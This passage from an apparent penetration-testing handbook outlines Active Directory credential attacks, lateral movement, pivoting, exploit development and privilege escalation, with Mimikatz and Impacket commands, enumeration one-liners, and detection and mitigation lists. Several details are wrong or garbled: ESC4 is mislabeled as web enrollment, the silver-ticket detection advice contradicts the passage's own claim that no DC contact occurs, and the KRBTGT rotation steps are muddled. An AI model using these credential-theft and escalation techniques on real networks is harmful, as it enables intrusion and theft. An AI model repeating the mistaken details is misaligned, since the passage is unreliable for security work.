escalation** modifying AD\n- **Persistence establishment** through accounts\n\nntlmrelayx automates cross-protocol relay.\n\n**Mitigations**\n\nRelay attack prevention:\n\n- **SMB signing** required\n- **LDAP signing** and channel binding\n- **EPA** Extended Protection for Authentication\n- **Network segmentation** limiting relay paths\n- **Disable NTLM** where possible\n- **Kerberos only** authentication\n\nMultiple controls needed.\n\n### 11.5 Password Spraying\n\nPassword spraying avoids account lockouts by targeting many accounts with few passwords.\n\n**Spraying Strategy**\n\nPassword spraying approach:\n\n- **Single password** attempt across many users\n- **Slow pace** avoiding detection\n- **Common passwords** seasonal or current\n- **Low and slow** under threshold\n- **Distributed sources** avoiding IP blocks\n- **Legitimate services** through valid protocols\n\nStrategy avoids lockout policies.\n\n**Target Selection**\n\nSpraying targets include:\n\n- **Email systems** (OWA, Exchange)\n- **VPN portals** remote access\n- **Citrix/VDI** virtual desktop\n- **Custom applications** web logins\n- **RDP** terminal services\n- **SSH** when exposed\n- **Domain controllers** via Kerberos\n\nEach target provides authentication.\n\n**Password Selection**\n\nEffective password selection:\n\n- **Default passwords** unchanged\n- **Seasonal patterns** Spring2024!\n- **Company name** variations\n- **Current year** with specials\n- **Common passwords** from breaches\n- **Password policy** respecting complexity\n- **Leaked credentials** from previous breaches\n\nSelection balances success against detection.\n\n**Detection and Prevention**\n\nSpraying countermeasures:\n\n- **Account lockout** after failed attempts\n- **Login monitoring** anomalous patterns\n- **IP reputation** blocking suspicious sources\n- **CAPTCHA** on login forms\n- **Multi-factor authentication** requiring second factor\n- **Conditional access** geographic/behavioral\n- **Failed login alerts** threshold notifications\n\nDetection enables response.\n\n---\n\n## Chapter 12: Active Directory Exploitation\n\n### 12.1 AD Architecture\n\nUnderstanding Active Directory architecture essential for exploitation.\n\n**Domain Structure**\n\nActive Directory organizes Windows networks:\n\n- **Forest** security boundary, multiple domains\n- **Domain** administrative boundary\n- **Organizational Units** (OUs) container objects\n- **Trees** hierarchical domain relationships\n- **Trust relationships** between domains/forests\n- **Sites** physical network topology\n\nStructure affects attack paths.\n\n**Directory Components**\n\nKey AD components include:\n\n- **Domain controllers** authentication servers\n- **Global catalog** forest-wide search\n- **FSMO roles** flexible single master operations\n- **DNS** integrated with AD\n- **Sysvol** domain policies\n- **NTDS.dit** database file\n\nEach component attackable.\n\n**Objects and Attributes**\n\nAD stores various objects:\n\n- **Users** with attributes (samAccountName, UPN)\n- **Groups** security and distribution\n- **Computers** domain-joined machines\n- **GPOs** Group Policy Objects\n- **Service accounts** with SPNs\n- **Organizational Units** container objects\n\nObject relationships enable attacks.\n\n**Authentication Protocols**\n\nAD supports multiple authentication methods:\n\n- **Kerberos** primary authentication\n- **NTLM** legacy compatibility\n- **LDAP** directory queries\n- **LDAPS** encrypted LDAP\n- **SMB** for file services\n- **DNS** name resolution\n\nProtocols have vulnerabilities.\n\n### 12.2 Kerberos Deep Dive\n\nKerberos authentication critical for AD attacks.\n\n**Kerberos Components**\n\nKerberos uses multiple elements:\n\n- **KDC** Key Distribution Center (domain controller)\n- **TGT** Ticket Granting Ticket\n- **TGS** Ticket Granting Service\n- **ST** Service Ticket\n- **AS** Authentication Service\n- **KRBTGT** account for ticket encryption\n- **SPN** Service Principal Name\n\nEach component involved in attacks.\n\n**Authentication Flow**\n\nKerberos authentication process:\n\n1. **AS-REQ** client requests TGT\n2. **AS-REP** KDC returns TGT\n3. **TGS-REQ** client requests service ticket\n4. **TGS-REP** KDC returns service ticket\n5. **AP-REQ** client presents ticket to service\n6. **AP-REP** service authenticates client\n\nFlow enables multiple attack points.\n\n**Ticket Structure**\n\nKerberos tickets contain:\n\n- **PAC** Privilege Attribute Certificate (authorization data)\n- **Encrypted data** ticket contents\n- **Timestamps** validity periods\n- **Session keys** for communication\n- **Client information** identity\n- **Service information** target\n\nPAC contains group memberships.\n\n**Kerberos Attacks**\n\nKerberos enables multiple attacks:\n\n- **Kerberoasting** crack service account passwords\n- **AS-REP roasting** crack without preauth\n- **Pass-the-ticket** reuse stolen tickets\n- **Golden ticket** forge TGTs\n- **Silver ticket** forge service tickets\n- **Skeleton key** backdoor domain controllers\n- **DCShadow** temporarily become DC\n\nEach attack requires specific techniques.\n\n### 12.3 Pass-the-Hash\n\nPass-the-Hash uses NTLM password hashes for authentication.\n\n**Hash Storage**\n\nPassword hashes stored in multiple locations:\n\n- **SAM** local accounts on Windows\n- **NTDS.dit** domain accounts on DC\n- **LSASS** memory for logged-on users\n- **Registry** certain configurations\n- **Memory dumps** from processes\n\nHash extraction enables attacks.\n\n**Extraction Methods**\n\nHash extraction techniques:\n\n- **Mimikatz** LSASS memory access\n- **Secretsdump** from registry or NTDS\n- **WCE** Windows Credential Editor\n- **Volume shadow copy** of NTDS.dit\n- **DCSync** replicate from DC\n- **SAM dumping** from local system\n\nEach method requires appropriate privileges.\n\n**Pass-the-Hash Usage**\n\nUsing hashes for authentication:\n\n- **SMB connections** with hash\n- **RDP restricted** requires full password\n- **PsExec** with hash\n- **WMI** with hash\n- **Schtasks** remote task creation\n- **PowerShell remoting** with hash\n\nHashes enable lateral movement.\n\n**Mitigations**\n\nPass-the-Hash countermeasures:\n\n- **KB2871997** mitigations\n- **Protected Users** group restricted\n- **Credential Guard** protects LSASS\n- **Restricted Admin** mode for RDP\n- **Network segmentation** limit movement\n- **Privilege reduction** minimize high-value accounts\n\nMultiple controls reduce risk.\n\n### 12.4 Pass-the-Ticket\n\nPass-the-Ticket uses Kerberos tickets for authentication.\n\n**Ticket Storage**\n\nKerberos tickets stored in memory:\n\n- **LSASS** ticket cache\n- **Klist** view current tickets\n- **Ticket lifetimes** renewable\n- **Session keys** for encryption\n- **Service tickets** for specific services\n- **TGT** for ticket requests\n\nTicket extraction from LSASS.\n\n**Extraction Techniques**\n\nTicket extraction methods:\n\n- **Mimikatz** sekurlsa::tickets\n- **Rubeus** dump ticket\n- **Klist** export functionality\n- **Invoke-Mimikatz** PowerShell\n- **SafetyKatz** modified version\n- **PE injection** for extraction\n\nExtracted tickets saved to files.\n\n**Ticket Reuse**\n\nUsing stolen tickets:\n\n- **Pass-the-ticket** inject into session\n- **Overpass-the-hash** convert hash to ticket\n- **Ticket renewal** extend lifetime\n- **Ticket impersonation** use others' tickets\n- **Service access** with service tickets\n- **Cross-domain** with appropriate tickets\n\nRubeus automates ticket operations.\n\n**Detection Challenges**\n\nTicket attacks difficult to detect:\n\n- **Legitimate Kerberos** indistinguishable\n- **Ticket lifetimes** within normal bounds\n- **Encryption** hides contents\n- **Logging gaps** insufficient detail\n- **Event ID 4769** service ticket requests\n- **Anomaly detection** requires baseline\n\nDetection requires advanced monitoring.\n\n### 12.5 Golden Ticket\n\nGolden tickets forge TGTs with KRBTGT compromise.\n\n**Golden Ticket Concept**\n\nGolden tickets provide:\n\n- **Domain admin equivalent** access\n- **Any user impersonation** including nonexistent\n- **Arbitrary group membership** including Enterprise Admins\n- **Unlimited lifetime** configurable expiration\n- **All domain access** any resource\n\nKRBTGT compromise catastrophic.\n\n**Creation Requirements**\n\nGolden ticket creation needs:\n\n- **KRBTGT hash** from domain controller\n- **Domain SID** security identifier\n- **Target user** to impersonate\n- **Domain name** fully qualified\n- **Group IDs** for authorization\n- **Lifetime** ticket duration\n\nMimikatz kerberos::golden creates tickets.\n\n**Golden Ticket Usage**\n\nUsing golden tickets:\n\n- **Inject ticket** into session\n- **Access any resource** as impersonated user\n- **Create additional tickets** as needed\n- **Maintain access** even after password changes\n- **Pass-the-ticket** with forged ticket\n\nKRBTGT rotation invalidates golden tickets.\n\n**KRBTGT Rotation**\n\nRotating KRBTGT password:\n\n- **Reset twice** for both accounts\n- **Account replication** across DCs\n- **Service tickets** remain valid until expiration\n- **TGTs** invalidated immediately\n- **Scheduled rotation** best practice\n- **Emergency rotation** after compromise\n\nProper rotation invalidates golden tickets.\n\n### 12.6 Silver Ticket\n\nSilver tickets forge service tickets for specific services.\n\n**Silver Ticket Concept**\n\nSilver tickets provide:\n\n- **Service-specific access** to single service\n- **Any user impersonation** for that service\n- **No DC contact** uses only service hash\n- **Stealth operation** fewer logs\n- **Limited scope** to specific service\n\nService account hash required.\n\n**Creation Requirements**\n\nSilver ticket needs:\n\n- **Service account hash** computer or user\n- **Domain SID** for authorization\n- **Service SPN** specific service identifier\n- **Target user** to impersonate\n- **Domain name** for ticket construction\n- **Lifetime** ticket duration\n\nMimikatz kerberos::golden with /service creates silver tickets.\n\n**Silver Ticket Usage**\n\nUsing silver tickets:\n\n- **Access specific service** (CIFS, HTTP, LDAP)\n- **No DC authentication** uses cached tickets\n- **Service logs** show access\n- **Domain controller logs** no entry\n- **Lateral movement** through services\n- **Persistence** even with password changes\n\nService password changes invalidate.\n\n**Detection Challenges**\n\nSilver ticket detection:\n\n- **Event ID 4769** service ticket request\n- **Missing TGT request** anomaly\n- **Service logs** show access\n- **Service account behavior** monitoring\n- **Anomalous access times** unusual patterns\n- **Access from unexpected** systems\n\nMultiple signals needed.\n\n### 12.7 DCSync\n\nDCSync simulates domain controller replication to extract credentials.\n\n**DCSync Concept**\n\nDCSync abuse:\n\n- **Directory replication** legitimate function\n- **GetNCChanges** replication request\n- **Domain controller impersonation** as attacker\n- **Password hash extraction** for all accounts\n- **Secret retrieval** from directory\n\nRequires appropriate privileges.\n\n**Required Permissions**\n\nDCSync needs specific rights:\n\n- **Replicating Directory Changes** extended right\n- **Replicating Directory Changes All** extended right\n- **Domain Admins** typically have\n- **Enterprise Admins** forest-wide\n- **Custom delegations** possible\n- **Administrators** on DCs\n\nPrivileged accounts required.\n\n**DCSync Usage**\n\nDCSync tools:\n\n- **Mimikatz** lsadump::dcsync\n- **Impacket** secretsdump.py\n- **PowerSploit** Get-DCSync\n- **Invoke-DCSync** PowerShell\n- **NTDSDumpEx** standalone\n- **Custom** replication requests\n\nTool extracts all domain hashes.\n\n**DCSync Detection**\n\nDetecting DCSync:\n\n- **Event ID 4662** directory service access\n- **Event ID 4624** account logon\n- **Replication monitoring** abnormal requests\n- **Source DCs** unexpected replication sources\n- **Non-DC requesting** replication\n- **Volume of requests** suspicious patterns\n\nMonitoring critical for detection.\n\n### 12.8 ACL Abuse\n\nActive Directory ACLs control object permissions.\n\n**ACL Structure**\n\nAD ACLs contain:\n\n- **Access Control Entries** (ACEs) permissions\n- **Security Principals** users/groups\n- **Object Types** specific objects\n- **Inheritance** from parent objects\n- **Delegation** administrative rights\n- **Extended rights** special operations\n\nACEs define access.\n\n**Abusable Permissions**\n\nDangerous permissions include:\n\n- **GenericAll** full control\n- **GenericWrite** modify attributes\n- **WriteDACL** modify permissions\n- **WriteOwner** change ownership\n- **Self-Membership** add self to group\n- **ForceChangePassword** reset password\n- **Extended rights** specific operations\n\nEach enables privilege escalation.\n\n**Abuse Techniques**\n\nACL exploitation methods:\n\n- **Add to group** using WriteProperty\n- **Change password** with Reset Password\n- **Modify attributes** for delegation\n- **Take ownership** of objects\n- **Grant additional rights** through WriteDACL\n- **Kerberoast** with SPN modification\n\nBloodHound maps ACL attack paths.\n\n**BloodHound**\n\nBloodHound analyzes AD relationships:\n\n- **Collect data** from domain\n- **Graph analysis** attack paths\n- **Visualization** relationship mapping\n- **Queries** finding shortest paths\n- **Custom queries** specific attacks\n- **Neo4j** backend database\n\nEssential for AD assessment.\n\n### 12.9 AD CS Attacks\n\nActive Directory Certificate Services presents attack vectors.\n\n**PKI in AD**\n\nAD CS components:\n\n- **Certificate Authorities** (CAs) issuing certificates\n- **Certificate templates** defining issuance\n- **Enrollment** requesting certificates\n- **NDES** Network Device Enrollment Service\n- **Web enrollment** certificate requests\n- **Key archival** recovery capabilities\n\nMisconfigurations enable attacks.\n\n**ESC1: Template Misconfiguration**\n\nESC1 vulnerabilities:\n\n- **Client authentication** EKU enabled\n- **Enrollment rights** low-privilege allowed\n- **SAN specification** requestor specifies subject\n- **Domain authentication** certificate\n- **Domain admin** impersonation\n- **Certificate theft** for persistence\n\nConfiguration enables escalation.\n\n**ESC2/ESC3: Enrollment Agent**\n\nCertificate enrollment agent abuse:\n\n- **Enrollment agent** delegate enrollment\n- **Certificate issuance** on behalf of others\n- **Agent restrictions** missing or weak\n- **Certificate theft** impersonate any user\n- **Cross-forest** enrollment possible\n\nEnrollment agent powerful role.\n\n**ESC4: Web Enrollment**\n\nWeb enrollment vulnerabilities:\n\n- **NTLM authentication** over HTTP\n- **Credential relay** to enrollment\n- **Certificate theft** from process\n- **CSRF** on enrollment pages\n- **Information disclosure** certificate details\n- **RPC over HTTP** vulnerabilities\n\nWeb enrollment increases attack surface.\n\n---\n\n## Chapter 13: Lateral Movement\n\n### 13.1 Remote Service Abuse\n\nRemote services enable lateral movement through legitimate functionality.\n\n**Service Control Manager**\n\nSCM manages Windows services:\n\n- **Create service** with sc.exe\n- **Modify service** configuration\n- **Start service** execute code\n- **Query service** status\n- **Delete service** clean up\n- **Remote SCM** network access\n\nService creation enables code execution.\n\n**Remote Service Creation**\n\nCreating remote services:\n\n- **SC \\\\target** create ServiceName\n- **Binary path** to executable\n- **Service start** immediate or delayed\n- **Service account** LOCAL_SYSTEM typically\n- **Cleanup** delete after execution\n- **Persistence** through services\n\nRequires administrative privileges.\n\n**Scheduled Tasks**\n\nScheduled tasks for lateral movement:\n\n- **Schtasks** command-line utility\n- **Create task** /create parameter\n- **Run task** immediate execution\n- **Task scheduler** remote API\n- **XML import** complex tasks\n- **Trigger-based** execution\n\nSchtasks widely used.\n\n**PsExec**\n\nSysinternals PsExec tool:\n\n- **Service creation** behind scenes\n- **File copy** to ADMIN$\n- **Remote execution** of commands\n- **Interactive sessions** with -i\n- **System account** by default\n- **Widely used** in operations\n\nOften monitored but effective.\n\n### 13.2 WMI & WinRM\n\nWindows management interfaces enable remote operations.\n\n**WMI Architecture**\n\nWindows Management Instrumentation:\n\n- **CIMOM** Common Information Model Object Manager\n- **WMI providers** interface to systems\n- **Namespaces** organizing classes\n- **Classes** representing objects\n- **Methods** performing actions\n- **Events** subscription notifications\n\nWMI powerful management interface.\n\n**WMI for Lateral Movement**\n\nWMI remote execution:\n\n- **Win32_Process** Create method\n- **Process creation** on remote systems\n- **WMI queries** information gathering\n- **WMI eventing** persistence\n- **WMI namespaces** access control\n- **WMI over DCOM** or WinRM\n\nwmic, PowerShell use WMI.\n\n**WinRM Configuration**\n\nWindows Remote Management:\n\n- **HTTP/HTTPS** transport\n- **SOAP messages** protocol\n- **Kerberos/NTLM** authentication\n- **Listener** configuration required\n- **TrustedHosts** for non-domain\n- **WinRM service** running\n\nDefault off in many environments.\n\n**PowerShell Remoting**\n\nPowerShell Remoting uses WinRM:\n\n- **Enter-PSSession** interactive\n- **Invoke-Command** script execution\n- **Session configuration** constrained endpoints\n- **JEA** Just Enough Administration\n- **PowerShell Direct** Hyper-V VMs\n- **PowerShell 7** SSH remoting\n\nPowerShell remoting common target.\n\n### 13.3 RDP Hijacking\n\nRemote Desktop Protocol hijacking takes over existing sessions.\n\n**RDP Sessions**\n\nRDP session types:\n\n- **Console session** (0) physical console\n- **Remote sessions** (1+) disconnected\n- **Shadow sessions** view/control\n- **Listener** accepting connections\n- **Session broker** load balancing\n- **Gateway** proxy connections\n\nSessions persist when disconnected.\n\n**Session Hijacking**\n\nHijacking disconnected sessions:\n\n- **Query session** find sessions\n- **Connect to session** with tscon.exe\n- **Session ID** target session\n- **Elevated privileges** required\n- **Same user** or administrator\n- **Domain/computer** context\n\nTakes over authenticated session.\n\n**RDP Pass-the-Hash**\n\nRDP with hashes:\n\n- **Restricted Admin** mode\n- **CredSSP** Credential Security Support Provider\n- **Network Level Authentication** (NLA)\n- **Hash authentication** with Restricted Admin\n- **Mimikatz** sekurlsa::pth\n- **xfreerdp** /pth option\n\nRequires specific configuration.\n\n**RDP Detection**\n\nRDP abuse detection:\n\n- **Event ID 4624** logon type 10\n- **Event ID 4778** session reconnect\n- **Event ID 4779** session disconnect\n- **Multiple sessions** same user\n- **Geographic anomalies** in access\n- **Unusual times** of day\n\nMonitoring identifies suspicious RDP.\n\n### 13.4 Pivoting Techniques\n\nPivoting uses compromised systems to access segmented networks.\n\n**Pivoting Concepts**\n\nPivoting fundamentals:\n\n- **Compromised host** as pivot point\n- **Network segmentation** layers to bypass\n- **Internal networks** inaccessible directly\n- **Traffic routing** through pivot\n- **Protocol forwarding** to internal services\n- **Port forwarding** exposing internal systems\n\nPivoting expands access.\n\n**SSH Pivoting**\n\nSSH tunneling for pivoting:\n\n- **Local port forwarding** -L local:remote\n- **Remote port forwarding** -R remote:local\n- **Dynamic forwarding** -D SOCKS proxy\n- **SSH over SSH** nested tunnels\n- **ProxyCommand** jump hosts\n- **Netcat mode** raw connections\n\nSSH flexible pivoting tool.\n\n**SOCKS Proxies**\n\nSOCKS proxy pivoting:\n\n- **SOCKS4/SOCKS5** protocol versions\n- **Dynamic port forwarding** SSH -D\n- **Proxychains** route tools through proxy\n- **Proxy configuration** in tools\n- **Chain multiple** proxies\n- **UDP over SOCKS** limited support\n\nSOCKS enables tool routing.\n\n**Meterpreter Pivoting**\n\nMetasploit pivoting capabilities:\n\n- **Route add** through session\n- **Portfwd** local forwarding\n- **Socks4a** proxy module\n- **Autoroute** script\n- **Pivot scanning** through session\n- **Exploit modules** with pivot routing\n\nMeterpreter simplifies pivoting.\n\n### 13.5 SOCKS Proxies\n\nSOCKS proxies enable tool traffic routing through compromised hosts.\n\n**Proxy Configuration**\n\nSetting up SOCKS proxies:\n\n- **SSH dynamic** forwarding\n- **Meterpreter** socks4a module\n- **3proxy** standalone proxy\n- **Socat** port forwarding\n- **Chisel** fast tunneling\n- **EarthWorm** multi-platform\n\nTool choice depends on environment.\n\n**Proxychains**\n\nProxychains routes tools through proxy:\n\n- **Configuration** /etc/proxychains.conf\n- **Proxy list** order and types\n- **Chain types** dynamic, strict, random\n- **DNS resolution** through proxy\n- **TCP only** limitation\n- **Timeout settings** for reliability\n\nEssential for pivot operations.\n\n**Proxy Chains**\n\nMultiple proxy chaining:\n\n- **Proxy lists** sequential proxies\n- **Dynamic chain** skip unavailable\n- **Random chain** random order\n- **Proxy types** SOCKS4, SOCKS5, HTTP\n- **Authentication** proxy credentials\n- **Latency** increases with chain length\n\nChaining increases anonymity.\n\n**Pivoting Performance**\n\nPivot performance considerations:\n\n- **Bandwidth limits** through pivot\n- **Latency increases** with hops\n- **Reliability issues** chain failures\n- **Tool compatibility** with SOCKS\n- **Protocol limitations** UDP unsupported\n- **Data volume** constraints\n\nDesign affects operational efficiency.\n\n---\n\n# PART V \u2013 EXPLOITATION & POST-EXPLOITATION\n\n## Chapter 14: Exploit Development Basics\n\n### 14.1 Buffer Overflows\n\nBuffer overflows remain relevant despite modern protections.\n\n**Memory Organization**\n\nUnderstanding process memory:\n\n- **Stack** local variables, function calls\n- **Heap** dynamic allocations\n- **Code segment** executable instructions\n- **Data segment** global variables\n- **BSS** uninitialized data\n- **Memory layout** varies by OS\n\nStack overflows most common.\n\n**Stack Overflow Mechanics**\n\nStack buffer overflow:\n\n- **Buffer allocation** on stack\n- **Input exceeds** buffer size\n- **Adjacent data** overwritten\n- **Return address** on stack\n- **Saved frame pointer** overwritten\n- **Function returns** to attacker address\n\nControl of return address enables exploitation.\n\n**Shellcode Placement**\n\nShellcode placement considerations:\n\n- **Buffer location** on stack\n- **Address prediction** stack address\n- **NOP sled** landing zone\n- **Egg hunter** search memory\n- **Return-oriented** programming\n- **Environment variables** alternative location\n\nReliable placement requires technique.\n\n**Modern Protections**\n\nContemporary exploit mitigations:\n\n- **ASLR** address randomization\n- **DEP** non-executable memory\n- **Stack cookies** canary values\n- **SafeSEH** structured exception handling\n- **CFG** control flow guard\n- **RELRO** relocation read-only\n\nBypasses required for modern exploitation.\n\n### 14.2 Stack vs Heap\n\nUnderstanding memory regions essential for exploitation.\n\n**Stack Characteristics**\n\nStack memory features:\n\n- **LIFO** last in first out\n- **Function frames** per call\n- **Local variables** stored\n- **Return addresses** saved\n- **Frame pointers** chain\n- **Fixed size** per thread\n\nStack overflows overwrite return addresses.\n\n**Heap Characteristics**\n\nHeap memory features:\n\n- **Dynamic allocation** malloc/free\n- **Chunks** metadata plus data\n- **Free lists** for reallocation\n- **Arenas** thread-specific\n- **Front/back links** in free chunks\n- **Consolidation** adjacent free chunks\n\nHeap overflows manipulate metadata.\n\n**Heap Overflow Exploitation**\n\nHeap overflow techniques:\n\n- **Chunk metadata** overwrite\n- **Forward/backward** linking corruption\n- **Function pointer** overwrite\n- **VTABLE** manipulation\n- **Heap spraying** predictable addresses\n- **Use-after-free** later exploitation\n\nComplex than stack overflows.\n\n**Use-After-Free**\n\nUAF exploitation:\n\n- **Memory freed** but pointer remains\n- **Memory reallocated** for other use\n- **Dangling pointer** accessed\n- **Type confusion** if types differ\n- **Function pointer** in reallocated memory\n- **Arbitrary execution** possible\n\nUAF common in browsers.\n\n### 14.3 Shellcode Development\n\nShellcode executes arbitrary commands after exploitation.\n\n**Shellcode Requirements**\n\nShellcode must:\n\n- **Position-independent** no absolute addresses\n- **Null-free** avoid string termination\n- **Small size** limited buffer space\n- **Reliable** consistent execution\n- **Stable** no crashes\n- **Compatible** with target OS/arch\n\nConstraints affect design.\n\n**System Calls**\n\nShellcode uses system calls:\n\n- **Syscall instruction** (x64 syscall, x86 int 0x80)\n- **System call numbers** OS-specific\n- **Parameters** in registers\n- **Execve** spawn shell\n- **Socket** reverse connection\n- **File access** read/write\n\nSystem calls avoid library dependencies.\n\n**Egg Hunters**\n\nEgg hunters find actual payload:\n\n- **Limited space** in initial buffer\n- **Search memory** for egg marker\n- **Marker** unique 4-8 bytes\n- **Memory scanning** page by page\n- **Execute payload** when found\n- **Egg hunter small** under 40 bytes\n\nEgg hunters enable staged payloads.\n\n**Alphanumeric Shellcode**\n\nAlphanumeric constraints:\n\n- **Printable characters** only\n- **Filter bypass** input validation\n- **Decode routine** expands shellcode\n- **Encoder** generate alphanumeric\n- **Decoder** restores original\n- **Larger size** trade-off\n\nmsfvenom generates alphanumeric.\n\n### 14.4 Fuzzing\n\nFuzzing discovers vulnerabilities through input testing.\n\n**Fuzzing Types**\n\nFuzzing approaches:\n\n- **Mutation fuzzing** modify valid inputs\n- **Generation fuzzing** create from specification\n- **Coverage-guided** use code coverage\n- **Grammar-based** follow format\n- **Smart fuzzing** understand structure\n- **Dumb fuzzing** random mutation\n\nEach has advantages.\n\n**Protocol Fuzzing**\n\nNetwork protocol fuzzing:\n\n- **Protocol structure** fields and boundaries\n- **Field fuzzing** each protocol field\n- **Stateful fuzzing** sequence of operations\n- **Packet manipulation** raw or library\n- **Fuzzing frameworks** Boofuzz, Sulley\n- **Custom scripts** for specific protocols\n\nProtocol fuzzing finds network vulnerabilities.\n\n**File Format Fuzzing**\n\nFile format fuzzing:\n\n- **Format specification** understand structure\n- **Field boundaries** integer overflows\n- **Size fields** consistency checks\n- **Index values** out of bounds\n- **Compression** handling\n- **Encryption** before processing\n\nFile fuzzing finds client-side vulnerabilities.\n\n**Crash Analysis**\n\nFuzzing results analysis:\n\n- **Crash reproduction** reliable trigger\n- **Crash triage** duplicate elimination\n- **Exploitability** assessment\n- **Control examination** register control\n- **Memory access** type of violation\n- **Debugging** root cause\n\nAnalysis determines vulnerability value.\n\n### 14.5 Bypassing DEP/ASLR\n\nModern exploits bypass memory protections.\n\n**DEP Bypass**\n\nData Execution Prevention bypass:\n\n- **Return-oriented programming** (ROP)\n- **Gadgets** existing code sequences\n- **ret instruction** chain execution\n- **VirtualProtect** make memory executable\n- **VirtualAlloc** allocate executable\n- **mprotect** on Linux\n\nROP chains execute without shellcode.\n\n**ROP Chain Construction**\n\nBuilding ROP chains:\n\n- **Gadget discovery** find useful sequences\n- **Gadget chaining** sequence of rets\n- **Stack pivoting** move stack pointer\n- **Function calls** with parameters\n- **Parameter placement** on stack\n- **Cleanup** after execution\n\nTools like ROPgadget automate discovery.\n\n**ASLR Bypass**\n\nASLR bypass techniques:\n\n- **Information leak** disclose addresses\n- **Relative offsets** predictable distances\n- **Partial overwrite** lower bytes only\n- **Heap spraying** predictable allocation\n- **Non-ASLR modules** bypass\n- **Brute force** 32-bit systems\n\nLeak required for reliable bypass.\n\n**Combined Bypass**\n\nBypassing DEP+ASLR together:\n\n- **Information leak** first stage\n- **Address disclosure** module base\n- **ROP chain** with known addresses\n- **VirtualProtect** call\n- **Shellcode execution** after DEP disabled\n- **Multi-stage** exploitation\n\nSophisticated exploits combine techniques.\n\n---\n\n## Chapter 15: Privilege Escalation\n\n### 15.1 Windows PrivEsc\n\nWindows privilege escalation techniques.\n\n**Information Gathering**\n\nPrivilege escalation enumeration:\n\n- **System information** OS version, patches\n- **User privileges** whoami /priv\n- **Groups** local and domain\n- **Running processes** with permissions\n- **Services** configurations\n- **Scheduled tasks** triggers\n- **Registry** writable keys\n\nTools: WinPEAS, Seatbelt, PowerUp.\n\n**Service Misconfigurations**\n\nService abuse opportunities:\n\n- **Unquoted service paths** spaces without quotes\n- **Weak service permissions** modify service\n- **Weak binary permissions** replace executable\n- **Uncontrolled service path** PATH hijacking\n- **Service restart** conditions\n- **DLL hijacking** in service directories\n\nEach enables privilege escalation.\n\n**AlwaysInstallElevated**\n\nAlwaysInstallElevated policy:\n\n- **Registry keys** HKLM and HKCU\n- **MSI installation** with elevated privileges\n- **Create malicious MSI** with payload\n- **Install MSI** gain SYSTEM\n- **Group Policy** setting enabled\n- **Rare in modern** environments\n\nEffective when enabled.\n\n**Token Impersonation**\n\nToken abuse techniques:\n\n- **SeImpersonatePrivilege** enabled\n- **SeAssignPrimaryToken** privilege\n- **Named pipe** impersonation\n- **Rogue potato** variants\n- **PrintSpoofer** for service accounts\n- **JuicyPotato** older versions\n\nImpersonate SYSTEM tokens.\n\n### 15.2 Linux PrivEsc\n\nLinux privilege escalation techniques.\n\n**Linux Enumeration**\n\nLinux escalation gathering:\n\n- **Kernel version** uname -a\n- **OS release** /etc/os-release\n- **User privileges** sudo -l\n- **SUID binaries** find / -perm -4000\n- **Capabilities** getcap -r /\n- **Cron jobs** /etc/crontab\n- **Writable files** world-writable\n\nTools: LinPEAS, LinEnum.\n\n**SUID Exploitation**\n\nSUID binary abuse:\n\n- **Find SUID binaries** owned by root\n- **Vulnerable SUID** known exploits\n- **PATH hijacking** for SUID binaries\n- **LD_PRELOAD** with SUID\n- **Shared object** injection\n- **Environment variables** abuse\n\nExecute commands as root.\n\n**Sudo Exploitation**\n\nSudo misconfigurations:\n\n- **Sudo -l** list allowed commands\n- **Command escaping** using allowed binaries\n- **LD_PRELOAD** with sudo\n- **Environment preservation** env_keep\n- **Shell escapes** from editors/pagers\n- **Wildcard injection** in commands\n\nGTFOBins documents techniques.\n\n**Kernel Exploitation**\n\nKernel vulnerability exploitation:\n\n- **CVE lookup** for kernel version\n- **Exploit availability** public or custom\n- **Reliability considerations** system stability\n- **Privilege escalation** to root\n- **Container escape** if containerized\n- **System crash** potential risk\n\nKernel exploits high impact.\n\n### 15.3 SUID & Capabilities\n\nUnderstanding Linux privilege mechanisms.\n\n**SUID Bit**\n\nSUID functionality:\n\n- **Set owner on execution** runs as file owner\n- **Root-owned SUID** runs as root\n- **Security risk** if vulnerable\n- **Common SUID** passwd, sudo, ping\n- **SUID shell** dangerous\n- **SUID scripts** even more dangerous\n\nSUID binaries escalate privileges.\n\n**Linux Capabilities**\n\nCapabilities granular privileges:\n\n- **Capabilities** instead of full root\n- **Common capabilities** CAP_NET_BIND_SERVICE\n- **Capability sets** permitted, effective, inheritable\n- **Capability dropping** reduce risk\n- **Capability bounding** limits\n- **Capability-aware** binaries\n\nCapabilities reduce root exposure.\n\n**Capability Exploitation**\n\nCapability abuse:\n\n- **CAP_SYS_ADMIN** various attacks\n- **CAP_DAC_OVERRIDE** bypass permissions\n- **CAP_NET_RAW** packet crafting\n- **CAP_SYS_PTRACE** process debugging\n- **CAP_SYS_MODULE** kernel module loading\n- **CAP_SETUID** set user ID\n\nEach enables specific attacks.\n\n**Ambient Capabilities**\n\nModern capability issues:\n\n- **Ambient set** inherited by children\n- **Container escapes** through capabilities\n- **Capability dropping** incomplete\n- **Capability-aware** binaries vulnerability\n- **Capability escalation** chaining\n- **Namespace issues** in containers\n\nComplex interactions create risk.\n\n### 15.4 Kernel Exploitation\n\nKernel vulnerabilities provide highest privileges.\n\n**Kernel Attack Surface**\n\nKernel interfaces:\n\n- **System calls** user to kernel\n- **Device drivers** hardware access\n- **File systems** in kernel\n- **Network stack** packet handling\n- **Process management** scheduling\n- **Memory management** allocation\n\nEach interface potentially vulnerable.\n\n**Kernel Exploitation Challenges**\n\nKernel exploit complexity:\n\n- **KASLR** kernel address randomization\n- **SMEP/SMAP** supervisor mode protections\n- **Kernel stack cookies** similar to userspace\n- **Kernel memory permissions** non-executable\n- **Concurrency** race conditions\n- **Stability** avoid system crash\n\nBypasses required.\n\n**Privilege Escalation Payloads**\n\nKernel exploit objectives:\n\n- **Commit creds** modify process credentials\n- **Root shell** spawn with elevated privileges\n- **Kernel module** load malicious\n- **Disable security** turn off protections\n- **Break out of** namespaces\n- **Persistence** through kernel\n\nCommit_creds(prepare_kernel_cred(0)) classic.\n\n**Exploit Reliability**\n\nMaking exploits reliable:\n\n- **Heuristics** determine environment\n- **Fallback paths** alternative techniques\n- **Spray techniques** predictable allocation\n- **Timing windows** in race conditions\n- **Error handling** graceful failure\n- **Cleanup** after exploitation\n\nReliability separates research from operations.\n\n### 15.5 Credential Dumping\n\nCredential harvesting for lateral movement.\n\n**Windows Credential Locations**\n\nCredentials stored various places:\n\n- **LSASS memory** logged-on users\n- **SAM database** local accounts\n- **NTDS.dit** domain accounts\n- **Registry** cached credentials\n- **Group Policy Preferences** cpassword\n- **Task Scheduler** stored credentials\n- **Vault** web credentials\n\nEach location requires 